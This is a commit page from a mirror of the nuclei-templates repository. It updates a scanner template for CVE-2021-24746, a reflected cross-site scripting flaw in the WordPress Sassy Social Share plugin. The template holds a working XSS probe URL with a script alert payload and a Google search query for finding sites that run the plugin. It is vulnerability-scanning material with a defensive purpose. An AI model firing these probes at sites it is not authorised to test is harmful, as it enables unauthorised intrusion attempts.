daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update CVE-2021-24746.yaml

patch-1
Prince Chaddha 2022-04-06 09:55:48 +05:30 committed by GitHub
parent 68f4159393
commit a0e7094664
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 7 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
cves/2021/CVE-2021-24746.yaml
View File

@ -5,10 +5,12 @@ info:
author: Supras author: Supras
severity: medium severity: medium
description: WP plugin Sassy Social Share < 3.3.40 - Reflected Cross-Site Scripting description: WP plugin Sassy Social Share < 3.3.40 - Reflected Cross-Site Scripting
reference: https://wpscan.com/vulnerability/99f4fb32-e312-4059-adaf-f4cbaa92d4fa reference:
- https://wpscan.com/vulnerability/99f4fb32-e312-4059-adaf-f4cbaa92d4fa
- https://nvd.nist.gov/vuln/detail/CVE-2021-24746
metadata: metadata:
google-query: 'inurl:"/wp-content/plugins/sassy-social-share"' google-query: 'inurl:"/wp-content/plugins/sassy-social-share"'
tags: cve,cve2021,wordpress,wp-plugin,xss tags: cve,cve2021,wordpress,wp-plugin,xss,wp
requests: requests:
- method: GET - method: GET
@ -16,6 +18,8 @@ requests:
- "{{BaseURL}}/wp-json/wp/v2/posts" - "{{BaseURL}}/wp-json/wp/v2/posts"
- "{{BaseURL}}/{{slug}}/?a&quot;&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;" - "{{BaseURL}}/{{slug}}/?a&quot;&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;"
redirects: true
max-redirects: 2
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: word - type: word
@ -39,4 +43,4 @@ requests:
internal: true internal: true
group: 1 group: 1
regex: regex:
- '"slug":"(.*)","status' - '"slug":"([_a-z-A-Z0-9]+)",'